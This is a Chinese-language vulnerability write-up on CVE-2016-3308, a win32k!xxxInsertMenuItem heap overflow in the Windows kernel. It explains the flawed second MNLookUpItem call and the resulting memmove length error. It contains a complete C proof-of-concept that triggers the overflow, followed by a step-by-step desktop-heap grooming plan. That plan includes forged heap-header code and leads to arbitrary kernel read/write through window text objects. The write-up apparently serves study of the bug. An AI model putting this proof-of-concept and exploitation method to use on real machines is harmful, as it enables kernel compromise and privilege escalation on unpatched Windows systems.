CVE-2016-3308
漏洞成因
这个漏洞位于win32k!xxxInsertMenuItem
,其中会调用MNLookUpItem
对tagMenu->rgItem
进行查找,我们先看一下MNLookUpItem
:
tagITEM *__stdcall MNLookUpItem(
tagMENU *pMenu,
unsigned int uItem,
BOOL byPosition,
_DWORD *pMenuItem);
当byPosition = true
时,uItem
此时代表tagItem
在当前菜单(tagMenu
)的位置,如果byPosition = false
时,uItem
则代表tagItem->uId
,表示按位置和按标识符这两种查找方法:
-
byPosition = true
时- 对当前
tagMenu->rgItems
进行遍历
if ( byPosition ) { if ( uItem < CurrentItem ) // 表示在已经存在的Menuitem内 { v8 = &pMenu->rgItems[uItem]; if ( pMenuItem ) *pMenuItem = pMenu; // MenuItem位于哪个菜单 return v8; } return 0; }
- 对当前
-
byPosition = false
时- 因为此时的
uItem
代表的是目标菜单项的标识符tagItem->uId
,而不是当前菜单中的位置,因此在遍历当前菜单的tagItem
时还会检查其tagItem->spSubMenu
是否不为零,也就是说这个菜单项指向了一个弹出菜单,MNLookUpItem
就会以这个弹出菜单作为第一个参数递归调用MNLookUpItem
,直到找到tagItem->uId
匹配的项或者没有找到返回零
- 因为此时的
在win32k!xxxInsertMenuItem
中出现了两次MNLookUpItem
的调用:
- 第一次调用
MNLookUpItem
进行查找uItem
所代表的tagItem
,更新当前菜单为目标菜单项所属菜单
- 如果我们要插入的当前菜单
tagMenu->cItem = tagMenu->cAlloced
时,也就是当前的空间已经存满的时候,这时候就会调用DesktopAlloc
为tagItem
重新申请堆内存,然后把之前的内容复制过来。这时候由于是重新申请的内存,所以地址已经改变,第一次通过MNLookUpItem
查询到的目标tagItem
地址也就发生了改变,因此就会第二次调用MNLookUpItem
重新查找目标tagItem
地址
在查找到待插入的位置后,其通过memmove
将待插入位置后面所有的元素后移了一个单位:
-
假设数组
{1,2,3,4,5,6,7}
里每一个成员都代表一个tagItem
,我们现在要插入的位置为4
,那么经过memmove
后数组就会变为{1,2,3,4,4,5,6,7}
,通过计算当前菜单项的总长度减去待插入位置前面的所有元素大小来得到我们要复制的长度,这里插入的位置为4,总长度为7,那么我们要复制的长度为7 - 3 = 4
。 -
这个算法乍一看没有什么问题,但由于第二次通过
MNLookUpItem
进行查找时,微软默认查找到的菜单项依旧属于第一次调用MNLookUpItem
后的菜单,因此没有对当前菜单进行更新(根据查找到的tagItem->spSubMenu
更新)。 -
如果在第一次
MNLookUpItem
查找之后,第二次MNLookUpItem
查找之前,uItem
被修改(win32k!xxxInsertMenuItem中存在一条代码路径可以将uItem修改为1
),那么在第二次MNLookUpItem
查找的将是tagItem->uId =1
的菜单项,如果我们构造这种情况:
- (配合下图)在调用
win32k!xxxInsertMenuItem
时假如我们是传入的参数uItem = 0x123
,也就是准备插入到查看的后面,因此在第一次MNLookUpItem
之后当前菜单更新为tagMenu1(主菜单)
,如果在第二次MNLookUpItem
前我们执行到了将uItem修改为1的代码路径,那么第二次MNLookUpItem
查找之后返回的就是文件夹这个菜单项,这个菜单项属于tagMenu2(spSubMenu)
,如上所述,由于第二次查找后微软没有考虑到查到的目标菜单项会发生改变而没有进行当前的菜单更新,所以在memmove时采用了文件夹和查看地址相减来计算长度,但由于这两个菜单项分别位于主菜单和子菜单两个不同的桌面堆,因此计算出来的长度在逻辑上没有意义,并且可能发生堆溢出。
··
如何触发
在IDA中分析代码可以发现,当我们插入满足以下条件时,uItem
就会被设置为1
- 当前菜单为非
MNF_POPUP
byPosition = false
并且uItem
为当前菜单的第一项- 且菜单第一项的
hmbp = HBMMENU_SYSTEM
如果此时菜单项已经有了8个,我们再添加一个时,就会触发重新的堆申请,每次申请以8个tagItem
大小为单位,因此就会触发第二次的MNLookUpItem
调用,由于此时uItem = 1
,如果uID = 1
的菜单项位于另外一个子菜单,就会导致在memmove
计算长度时出现错误导致堆溢出。
POC
如果只需要触发蓝屏,可以以最简单的方式来构造菜单:
- 在主菜单中插入8项
item
,其中一项具有subMenu
- 在这个
subMenu
中有一项uID = 1
的tagItem
- 向主菜单插入第九项并且满足上面使得
uItem =1
的条件,并且由于之前主菜单已经存在了8项从而触发第二次MNLookUpItem
,导致第二次MNLookUpItem
返回的tagItem
属于另外一个菜单,memmove
长度计算错误,造成堆溢出。
#include <Windows.h>
#include "struct.h"
HMENU add_submenu_item(HMENU hMenu, UINT wID)
{
HMENU hSubMenu = CreatePopupMenu();
MENUITEMINFOW mi_info;
mi_info.cbSize = sizeof(MENUITEMINFOW);
mi_info.fMask = MIIM_SUBMENU | MIIM_ID | MIIM_BITMAP;
mi_info.fState = MFS_ENABLED;
mi_info.hSubMenu = hSubMenu;
mi_info.wID = wID;
mi_info.dwTypeData = NULL;
mi_info.hbmpItem = HBMMENU_SYSTEM; // (required to set nPosition to 1 in trigger)
BOOL bRet = NtUserThunkedMenuItemInfo(
hMenu, //# HMENU hMenu
0, //# UINT nPosition
FALSE, //# BOOL fByPosition
TRUE, //# BOOL fInsert
&mi_info, //# LPMENUITEMINFOW lpmii
NULL //# PUNICODE_STRING pstrItem
);
if (bRet)
{
return hSubMenu;
}
return NULL;
}
BOOL add_menu_item(HMENU hMenu, UINT wID)
{
MENUITEMINFOW mi_info;
mi_info.cbSize = sizeof(MENUITEMINFOW);
mi_info.fMask = MIIM_ID;
mi_info.fType = MFT_STRING;
mi_info.fState = MFS_ENABLED;
mi_info.wID = wID;
return NtUserThunkedMenuItemInfo(
hMenu, //# HMENU hMenu
-1, //# UINT nPosition
TRUE, //# BOOL fByPosition
TRUE, //# BOOL fInsert
&mi_info, //# LPMENUITEMINFOW lpmii
NULL //# PUNICODE_STRING pstrItem
);
};
VOID fill_menu(HMENU hMenu, UINT Base_wID, UINT nCount)
{
for (UINT i = 0; i < nCount; i++)
{
add_menu_item(hMenu, Base_wID + i);
}
}
int main()
{
/* 在主菜单中插入8项item,其中一项具有subMenu */
auto hMenu = CreateMenu();
auto hSubMenu = add_submenu_item(hMenu, 0x101);
fill_menu(hMenu, 0x102, 7);
/* 在这个subMenu中有一项uID = 1的tagItem */
add_menu_item(hSubMenu, 0x1);
/* 向主菜单插入第九项并且满足上面使得uItem =1的条件,并且触发第二次MNLookUpItem */
{
MENUITEMINFOW mi_info;
mi_info.cbSize = sizeof(MENUITEMINFOW);
mi_info.fMask = MIIM_ID;
mi_info.fType = MFT_STRING;
mi_info.fState = MFS_ENABLED;
mi_info.wID = 0x111;
return NtUserThunkedMenuItemInfo(
hMenu, //# HMENU hMenu
0x101, //# UINT nPosition
FALSE, //# BOOL fByPosition
TRUE, //# BOOL fInsert
&mi_info, //# LPMENUITEMINFOW lpmii
NULL //# PUNICODE_STRING pstrItem
);
}
return 0;
}
利用
利用方法是对此文的学习与理解
前置知识
通过阅读``NCC group 《Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit》`,大概总结出一下几点:
-
基于桌面堆的大多数申请都依赖与窗口对象,也就是通过
tagWND
来管理- 如果我们需要创建特定大小的结构来填充堆中小的空洞,首先就先需要创建一个窗口进行交互
- 一些我们通过窗口来申请的空间并不能单独释放,也就是说这些结构会在调用
DestroyWindow
时进行释放
-
tagPROPLIST
结构提供足够小的堆申请用来填满任意小的堆空洞 -
feng shui 布局验证
- 内核桌面堆以只读的方式映射在用户空间,因此我们可以通过读取相应的地址来验证我们的布局是否成功,
TEB
中包含一个未文档化的结构win32ClientInfo
,其中ulClientDelta
成员表示桌面堆在内核映射和用户映射的偏移,再通过user32!gSharedInfo
泄露窗口对象的内核地址,就可以得到窗口对象在用户空间的映射地址
typedef struct _CLIENTINFO { ULONG_PTR CI_flags; ULONG_PTR cSpins; DWORD dwExpWinVer; DWORD dwCompatFlags; DWORD dwCompatFlags2; DWORD dwTIFlags; PDESKTOPINFO pDeskInfo; ULONG_PTR ulClientDelta; // incomplete. see reactos } CLIENTINFO, *PCLIENTINFO;
- 内核桌面堆以只读的方式映射在用户空间,因此我们可以通过读取相应的地址来验证我们的布局是否成功,
大致思路
- 创建大量没有标题的窗口来填充堆空洞
- 先创建
WND_0 ~ WND_5
,后面伪造堆头时再使用 - 在子菜单添加一个
ID = 1
和其他ID 0x2001~2007
的tagItem
- 在子菜单中添加第九个
tagItem
,这时会触发堆的重新申请,然后设置WND_5->text
为0x6C *8 = 0x360
大小来重用上面释放的8个菜单项的堆空间,并在用户空间检查桌面堆确保两个地址相等 - 设置
WND_1->text
为0x70
大小用来伪造堆头,同样要验证此时为WND_1->text
分配的堆地址是紧接着上面SubMenuItems
分配的,伪造堆头的位置时要注意,因为win32k!xxxInsertMenuItem
的插入逻辑是在插入位置留一个tagItem
大小的位置,后面的tagItem
顺序向后移动,由于我们申请的大小为0x70
,向后移动距离为0x6C
,所以我们需要在WND_1->text
4字节(0x70 - 0x6C = 4
)之后伪造堆头
#define CORRUPTION_BLOCK_SIZE 0x8e8
#define HEAP_GRANULARITY_SHIFT 3
memset(Data, 0, sizeof(Data));
PHEAP_ENTRY32 pHeapEntry = (PHEAP_ENTRY32)(Data + 4);
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
- 设置
WND_2->text
为0x70
大小,同样验证布局是否紧接着WND_1->text
,当堆溢出发生时,上面伪造的堆头就会覆盖WND_2->text
的堆头 - 设置
WND_0->text
为0x6C0
大小,为主菜单item*16
占位 - 创建一个
Primitive-WND
窗口和一个自动创建的tagPROPLIST
- 创建一个
Corrupt-WND
窗口和一个自动创建的tagPROPLIST
- 设置
WND_3->text
为0x10
大小,因为上面伪造的_heap_entry->size = 8e8
,刚好下一个堆块为WND_3->text
的位置,因此我们需要在WND_3->text
中伪造一个堆头使得previousSize = 8e8 >>3
,从而在释放上面伪造的堆时绕过检查(以上所有操作都是假定所有分配都是连续的)
#define CORRUPTION_BLOCK_SIZE 0x8e8
#define HEAP_GRANULARITY_SHIFT 3
memset(Data, 0, sizeof(Data));
pHeapEntry = (PHEAP_ENTRY32)Data;
pHeapEntry->PreviousSize = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x10 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
-
设置
WND_0->text
为0x700
大小,此时多了个0x6c0
大小的空洞,紧接着为主菜单添加第九个菜单项,在堆申请时需要的大小刚好等于0x6c0
,因此此时主菜单的rgItems
位置也就确定了,memmove
的大小也可以计算出来了,同时触发漏洞,memmove
导致从SubMenuItems[0]
后面开始全部后移0x6C
大小,因此我们在WND_1->text
伪造的堆头覆盖了WND_2->text
的堆头 -
紧接着我们设置
WND_2->text
为0x80
大小,因此之前的堆被释放,但这是个被伪造的堆,其被修改后的堆大小包含了整个Primitive-WND
和Corrupt-WND
窗口对象,因此我们只需要将Corrupt-WND->text
设置为0x8e0
大小来重用这个伪造的堆块,就可以通过修改位于堆块中的Primitive-WND->text
的地址配合InternalGetWindowText
和NtUserDefSetText
来进行任意地址读写
附上 https://github.com/55-AA/CVE-2016-3308 中的堆 feng shui 布局图